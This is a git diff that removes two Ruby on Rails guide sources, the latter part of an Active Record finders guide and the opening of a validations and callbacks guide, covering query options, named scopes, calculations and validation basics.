- created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
--------------------------------------------------------
-
-Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object.
-
-NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a RecordNotFound exception.
-
-If you wanted to find the first Client object you would simply type +Client.first+ and that would find the first client in your clients table:
-
--------------------------------------------------------
->> Client.first
-=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
--------------------------------------------------------
-
-If you were reading your log file (the default is log/development.log) you may see something like this:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients LIMIT 1
--------------------------------------------------------
-
-Indicating the query that Rails has performed on your database.
-
-To find the last Client object you would simply type +Client.last+ and that would find the last client created in your clients table:
-
--------------------------------------------------------
->> Client.last
-=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
- created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
--------------------------------------------------------
-
-If you were reading your log file (the default is log/development.log) you may see something like this:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients ORDER BY id DESC LIMIT 1
--------------------------------------------------------
-
-NOTE: Please be aware that the syntax that Rails uses to find the first record in the table means that it may not be the actual first record. If you want the actual first record based on a field in your table (e.g. +created_at+) specify an order option in your find call. The last method call works differently: it finds the last record on your table based on the primary key column.
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
--------------------------------------------------------
-
-To find all the Client objects you would simply type +Client.all+ and that would find all the clients in your clients table:
-
--------------------------------------------------------
->> Client.all
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
- #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
- created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
--------------------------------------------------------
-
-You may see in Rails code that there are calls to methods such as +Client.find(:all)+, +Client.find(:first)+ and +Client.find(:last)+. These methods are just alternatives to +Client.all+, +Client.first+ and +Client.last+ respectively.
-
-Be aware that +Client.first+/+Client.find(:first)+ and +Client.last+/+Client.find(:last)+ will both return a single object, where as +Client.all+/+Client.find(:all)+ will return an array of Client objects, just as passing in an array of ids to +find+ will do also.
-
-== Conditions
-
-The +find+ method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.
-
-=== Pure String Conditions ===
-
-If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
-
-WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
-
-=== Array Conditions ===
-
-Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
-
-The reason for doing code like:
-
-[source, ruby]
--------------------------------------------------------
-Client.first(:conditions => ["orders_count = ?", params[:orders]])
--------------------------------------------------------
-
-instead of:
-
-[source, ruby]
--------------------------------------------------------
-Client.first(:conditions => "orders_count = #{params[:orders]}")
--------------------------------------------------------
-
-is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
-
-TIP: For more information on the dangers of SQL injection, see the link:../security.html#_sql_injection[Ruby on Rails Security Guide].
-
-If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => ["created_at IN (?)",
- (params[:start_date].to_date)..(params[:end_date].to_date)])
--------------------------------------------------------
-
-This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM users WHERE (created_at IN
- ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
- '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
- '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
- '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
- ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
- '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
- '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
--------------------------------------------------------
-
-Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => ["created_at IN (?)",
- (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
--------------------------------------------------------
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM users WHERE (created_at IN
- ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
- '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
--------------------------------------------------------
-
-This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:
-
--------------------------------------------------------
-Got a packet bigger than 'max_allowed_packet' bytes: _query_
--------------------------------------------------------
-
-Where _query_ is the actual query used to get that error.
-
-In this example it would be better to use greater-than and less-than operators in SQL, like so:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions =>
- ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
--------------------------------------------------------
-
-You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions =>
- ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
--------------------------------------------------------
-
-Just like in Ruby. If you want a shorter syntax be sure to check out the <<_hash_conditions, Hash Conditions>> section later on in the guide.
-
-=== Placeholder Conditions ===
-
-Similar to the array style of params you can also specify keys in your conditions:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions =>
- ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
--------------------------------------------------------
-
-This makes for clearer readability if you have a large number of variable conditions.
-
-=== Hash Conditions
-
-Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => { :locked => true })
--------------------------------------------------------
-
-The field name does not have to be a symbol it can also be a string:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => { 'locked' => true })
--------------------------------------------------------
-
-The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
--------------------------------------------------------
-
-This will find all clients created yesterday by using a BETWEEN sql statement:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM `clients` WHERE (`clients`.`created_at` BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
--------------------------------------------------------
-
-This demonstrates a shorter syntax for the examples in <<_array_conditions, Array Conditions>>
-
-You can also join in tables and specify their columns in the hash:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:include => "orders", :conditions => { 'orders.created_at' => (Time.now.midnight - 1.day)..Time.now.midnight })
--------------------------------------------------------
-
-An alternative and cleaner syntax to this is:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:include => "orders", :conditions => { :orders => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight } })
--------------------------------------------------------
-
-This will find all clients who have orders that were created yesterday, again using a BETWEEN expression.
-
-If you want to find records using the IN expression you can pass an array to the conditions hash:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:include => "orders", :conditions => { :orders_count => [1,3,5] }
--------------------------------------------------------
-
-This code will generate SQL like this:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM `clients` WHERE (`clients`.`orders_count` IN (1,2,3))
--------------------------------------------------------
-
-== Ordering
-
-If you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table, you can use +Client.all(:order => "created_at")+. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+. The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: +Client.all(:order => "created_at desc, orders_count asc")+.
-
-== Selecting Certain Fields
-
-To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 1+ on your database.
-
-Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
-
--------------------------------------------------------
-ActiveRecord::MissingAttributeError: missing attribute: <attribute>
--------------------------------------------------------
-
-Where <attribute> is the atrribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
-
-You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this: +Client.all(:select => "DISTINCT(name)")+.
-
-== Limit & Offset
-
-If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:limit => 5)
--------------------------------------------------------
-
-This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients LIMIT 5
--------------------------------------------------------
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:limit => 5, :offset => 5)
--------------------------------------------------------
-
-This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients LIMIT 5, 5
--------------------------------------------------------
-
-== Group
-
-The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:
-
-[source, ruby]
--------------------------------------------------------
-Order.all(:group => "date(created_at)", :order => "created_at")
--------------------------------------------------------
-
-And this will give you a single +Order+ object for each date where there are orders in the database.
-
-The SQL that would be executed would be something like this:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM orders GROUP BY date(created_at)
--------------------------------------------------------
-
-== Having
-
-The +:having+ option allows you to specify SQL and acts as a kind of a filter on the group option. +:having+ can only be specified when +:group+ is specified.
-
-An example of using it would be:
-
-[source, ruby]
--------------------------------------------------------
-Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
--------------------------------------------------------
-
-This will return single order objects for each day, but only for the last month.
-
-== Read Only
-
-+readonly+ is a +find+ option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.first(:readonly => true)
--------------------------------------------------------
-
-If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:
-
-[source, ruby]
--------------------------------------------------------
-client = Client.first(:readonly => true)
-client.locked = false
-client.save
--------------------------------------------------------
-
-== Lock
-
-If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.
-
-[source, ruby]
--------------------------------------------------------
-Topic.transaction do
- t = Topic.find(params[:id], :lock => true)
- t.increment!(:views)
-end
--------------------------------------------------------
-
-You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
-
-[source, ruby]
--------------------------------------------------------
-Topic.transaction do
- t = Topic.find(params[:id], :lock => "LOCK IN SHARE MODE")
- t.increment!(:views)
-end
--------------------------------------------------------
-
-== Making It All Work Together
-
-You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the +find+ method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used.
-
-== Eager Loading
-
-Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address])+. Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:
-
-[source, sql]
--------------------------------------------------------
-Client Load (0.000383) SELECT * FROM clients
-Address Load (0.119770) SELECT addresses.* FROM addresses
- WHERE (addresses.client_id IN (13,14))
-MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM
- mailing_addresses WHERE (mailing_addresses.client_id IN (13,14))
--------------------------------------------------------
-
-The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run.
-
-If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+.
-If you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example:
-
-[source, sql]
--------------------------------------------------------
-+Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses
- ON addresses.client_id = client.id INNER JOIN mailing_addresses ON
- mailing_addresses.client_id = client.id
--------------------------------------------------------
-
-This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):
-
-[source, ruby]
--------------------------------------------------------
-Client.all(:joins => “LEFT OUTER JOIN addresses ON
- client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON
- client.id = mailing_addresses.client_id”)
--------------------------------------------------------
-
-When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:
-
-[source, ruby]
--------------------------------------------------------
-Client.first(:include => "orders", :conditions =>
- ["orders.created_at >= ? AND orders.created_at <= ?", 2.weeks.ago, Time.now])
--------------------------------------------------------
-
-== Dynamic finders
-
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the Client model, you also get +find_by_locked+ and +find_all_by_locked+.
-
-You can do +find_last_by_*+ methods too which will find the last record matching your argument.
-
-You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like +Client.find_by_name!("Ryan")+
-
-If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+.
-
-
-There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+:
-
-[source,sql]
--------------------------------------------------------
-SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
-BEGIN
-INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
- VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
-COMMIT
--------------------------------------------------------
-
-+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example:
-
-[source, ruby]
--------------------------------------------------------
-client = Client.find_or_initialize_by_name('Ryan')
--------------------------------------------------------
-
-will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
-
-
-== Finding By SQL
-
-If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query:
-
-[source, ruby]
--------------------------------------------------------
-Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc")
--------------------------------------------------------
-
-+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
-
-== +select_all+ ==
-
-+find_by_sql+ has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
-
-[source, ruby]
--------------------------------------------------------
-Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
--------------------------------------------------------
-
-== Working with Associations
-
-When you define a has_many association on a model you get the +find+ method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested resources.
-
-== Named Scopes
-
-Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.
-
-=== Simple Named Scopes
-
-Suppose we want to find all clients who are male. You could use this code:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- named_scope :males, :conditions => { :gender => "male" }
-end
--------------------------------------------------------
-
-Then you could call +Client.males.all+ to get all the clients who are male. Please note that if you do not specify the +all+ on the end you will get a +Scope+ object back, not a set of records which you do get back if you put the +all+ on the end.
-
-If you wanted to find all the clients who are active, you could use this:
-
-[source,ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- named_scope :active, :conditions => { :active => true }
-end
--------------------------------------------------------
-
-You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. If you want to find the first client within this named scope you could do +Client.active.first+.
-
-=== Combining Named Scopes
-
-If you wanted to find all the clients who are active and male you can stack the named scopes like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.males.active.all
--------------------------------------------------------
-
-If you would then like to do a +all+ on that scope, you can. Just like an association, named scopes allow you to call +all+ on them:
-
-[source, ruby]
--------------------------------------------------------
-Client.males.active.all(:conditions => ["age > ?", params[:age]])
--------------------------------------------------------
-
-=== Runtime Evaluation of Named Scope Conditions
-
-Consider the following code:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- named_scope :recent, :conditions => { :created_at > 2.weeks.ago }
-end
--------------------------------------------------------
-
-This looks like a standard named scope that defines a method called +recent+ which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } }
-end
--------------------------------------------------------
-
-And now every time the +recent+ named scope is called, the code in the lambda block will be executed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.
-
-=== Named Scopes with Multiple Models
-
-In a named scope you can use +:include+ and +:joins+ options just like in +find+.
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- named_scope :active_within_2_weeks, :joins => :order,
- lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } }
-end
--------------------------------------------------------
-
-This method, called as +Client.active_within_2_weeks.all+, will return all clients who have placed orders in the past 2 weeks.
-
-=== Arguments to Named Scopes
-
-If you want to pass to a named scope a required arugment, just specify it as a block argument like this:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } }
-end
--------------------------------------------------------
-
-This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use prefix the arugment with an *.
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } }
-end
--------------------------------------------------------
-
-This will work with +Client.recent(2.weeks.ago).all+ and +Client.recent.all+, with the latter always returning records with a created_at date between right now and 2 weeks ago.
-
-Remember that named scopes are stackable, so you will be able to do +Client.recent(2.weeks.ago).unlocked.all+ to find all clients created between right now and 2 weeks ago and have their locked field set to false.
-
-=== Anonymous Scopes
-
-All Active Record models come with a named scope named +scoped+, which allows you to create anonymous scopes. For example:
-
-[source, ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- def self.recent
- scoped :conditions => ["created_at > ?", 2.weeks.ago]
- end
-end
--------------------------------------------------------
-
-Anonymous scopes are most useful to create scopes "on the fly":
-
-[source, ruby]
--------------------------------------------------------
-Client.scoped(:conditions => { :gender => "male" })
--------------------------------------------------------
-
-Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.
-
-== Existence of Objects
-
-If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or false+.
-
-[source, ruby]
--------------------------------------------------------
-Client.exists?(1)
--------------------------------------------------------
-
-The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
-
-[source, ruby]
--------------------------------------------------------
-Client.exists?(1,2,3)
-# or
-Client.exists?([1,2,3])
--------------------------------------------------------
-
-Further more, +exists+ takes a +conditions+ option much like find:
-
-[source, ruby]
--------------------------------------------------------
-Client.exists?(:conditions => "first_name = 'Ryan'")
--------------------------------------------------------
-
-== Calculations
-
-This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
-
-+count+ takes conditions much in the same way +exists?+ does:
-
-[source, ruby]
--------------------------------------------------------
-Client.count(:conditions => "first_name = 'Ryan'")
--------------------------------------------------------
-
-Which will execute:
-
-[source, sql]
--------------------------------------------------------
-SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
--------------------------------------------------------
-
-You can also use +:include+ or +:joins+ for this to do something a little more complex:
-
-[source, ruby]
--------------------------------------------------------
-Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
--------------------------------------------------------
-
-Which will execute:
-
-[source, sql]
--------------------------------------------------------
-SELECT count(DISTINCT clients.id) AS count_all FROM clients
- LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
- (clients.first_name = 'Ryan' AND orders.status = 'received')
--------------------------------------------------------
-
-This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
-
-
-=== Count
-
-If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
-
-For options, please see the parent section, <<_calculations, Calculations>>.
-
-=== Average
-
-If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.average("orders_count")
--------------------------------------------------------
-
-This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
-
-For options, please see the parent section, <<_calculations, Calculations>>.
-
-=== Minimum
-
-If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.minimum("age")
--------------------------------------------------------
-
-For options, please see the parent section, <<_calculations, Calculations>>
-
-=== Maximum
-
-If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.maximum("age")
--------------------------------------------------------
-
-For options, please see the parent section, <<_calculations, Calculations>>
-
-=== Sum
-
-If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
-
-[source, ruby]
--------------------------------------------------------
-Client.sum("orders_count")
--------------------------------------------------------
-
-For options, please see the parent section, <<_calculations, Calculations>>
-
-== Changelog
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16[Lighthouse ticket]
-
-* December 29 2008: Initial version by Ryan Bigg \ No newline at end of file
diff --git a/railties/doc/guides/source/activerecord_validations_callbacks.txt b/railties/doc/guides/source/activerecord_validations_callbacks.txt
deleted file mode 100644
index 8bfb69ea99..0000000000
--- a/railties/doc/guides/source/activerecord_validations_callbacks.txt
+++ /dev/null
@@ -1,863 +0,0 @@
-Active Record Validations and Callbacks
-=======================================
-
-This guide teaches you how to hook into the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database as well as how to perform custom operations at certain points in the object lifecycle.
-
-After reading this guide and trying out the presented concepts, we hope that you'll be able to:
-
-* Use the built-in Active Record validation helpers
-* Create your own custom validation methods
-* Work with the error messages generated by the validation process
-* Create callback methods to respond to events in the object lifecycle.
-* Create special classes that encapsulate common behavior for your callbacks
-* Create Rails Observers
-
-== Overview of ActiveRecord Validation
-
-Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. Why should you use validations? When do these validations take place?
-
-=== Why Use ActiveRecord Validations?
-
-The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.
-
-There are several ways that you could validate the data that goes to the database, including native database constraints, client-side validations, and model-level validations. Each of these has pros and cons:
-
-* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and maintain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that are problematic to implement from the application level.
-* Implementing validations only at the client side can be difficult in web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
-* Using validation directly in your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the ability to easily create validations, providing built-in helpers for common validations while still allowing you to create your own validation methods.
-
-=== When Does Validation Happen?
-
-There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-end
-------------------------------------------------------------------
-
-We can see how it works by looking at some script/console output:
-
-------------------------------------------------------------------
->> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
-=> #<Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil>
->> p.new_record?
-=> true
->> p.save
-=> true
->> p.new_record?
-=> false
-------------------------------------------------------------------
-
-Saving new records means sending an SQL +INSERT+ operation to the database, while saving existing records (by calling either +save+ or +update_attributes+) will result in a SQL +UPDATE+ operation. Active Record will use these facts to perform validations upon your objects, keeping them out of the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
-
-CAUTION: There are four methods that when called will trigger validation: +save+, +save!+, +update_attributes+ and +update_attributes!+. There is one update method for Active Record objects left, which is +update_attribute+. This method will update the value of an attribute _without_ triggering any validation. Be careful when using +update_attribute+, because it can let you save your objects in an invalid state.
-
-=== The Meaning of +valid+
-
-To verify whether an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The process is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection.
-
-== The Declarative Validation Helpers
-
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated.
-
-Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes.
-
-All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers.
-
-=== The +validates_acceptance_of+ helper
-
-Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_acceptance_of :terms_of_service
-end
-------------------------------------------------------------------
-
-The default error message for +validates_acceptance_of+ is "_must be accepted_"
-
